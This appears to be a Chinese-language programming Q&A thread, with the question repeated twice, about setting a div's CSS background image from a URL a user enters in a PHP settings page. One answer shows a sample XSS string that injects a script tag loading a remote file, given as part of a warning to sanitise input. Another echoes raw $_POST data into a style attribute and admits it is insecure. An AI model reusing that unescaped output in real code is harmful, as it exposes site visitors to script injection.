我有一个logo div,我想将我的logo图像用作其背景,例如:
.logo {
background: #FFF url(images/logo.jpg);
}
然而,在我的脚本的设置页面上,我想要有一个文本输入框来指定背景图像的URL。
如何将这个div的背景图像设置为输入的图像URL,而不必执行以下操作:
<div><img src="/images/logo.jpg" /></div>
(该脚本是用PHP编写的)
我有一个logo div,我想将我的logo图像用作其背景,例如:
.logo {
background: #FFF url(images/logo.jpg);
}
然而,在我的脚本的设置页面上,我想要有一个文本输入框来指定背景图像的URL。
如何将这个div的背景图像设置为输入的图像URL,而不必执行以下操作:
<div><img src="/images/logo.jpg" /></div>
(该脚本是用PHP编写的)
以下是两种动态设置背景图片的选项:
在文档的 <head>
中放置内嵌样式表:
<style type="text/css">
.logo {
background: #FFF url(<?php echo $variable_holding_img_url; ?>);
}
</style>
内联方式定义CSS属性background-image
:
<div style="background-image: url(<?php echo $varable_holding_img_url; ?>);">...</div>
注意:在将内容保存到数据库之前,请确保对其进行过清理(参见Bobby Tables)。请确保其不包含HTML或任何其他内容,仅包含有效的URL字符,转义引号等。如果未这样做,攻击者可能会向页面注入代码。"> <script src="http://example.com/xss-attack.js"></script> <!--
<input type="text" class="inputContent" />
<script type="text/javascript">
var inputC = $('input.inputContent').val();
$('body').css('background', 'url(' + inputC + ')');
</script>
这完全是基于js和jQuery实现的,因为我不懂PHP,但这是一个解决方案!
<div style="background-image: <?php echo $_POST['whateverjpg']; ?>" >
//blah
</div>
这非常不安全,但是我能给出的最简洁的答案。
我认为你可以使用javascript动态设置背景图像,参考这里.
document.getElementById("xyz").style.backgroundImage="your path";
style
属性。<div style="background-image: url(xyz)"></div>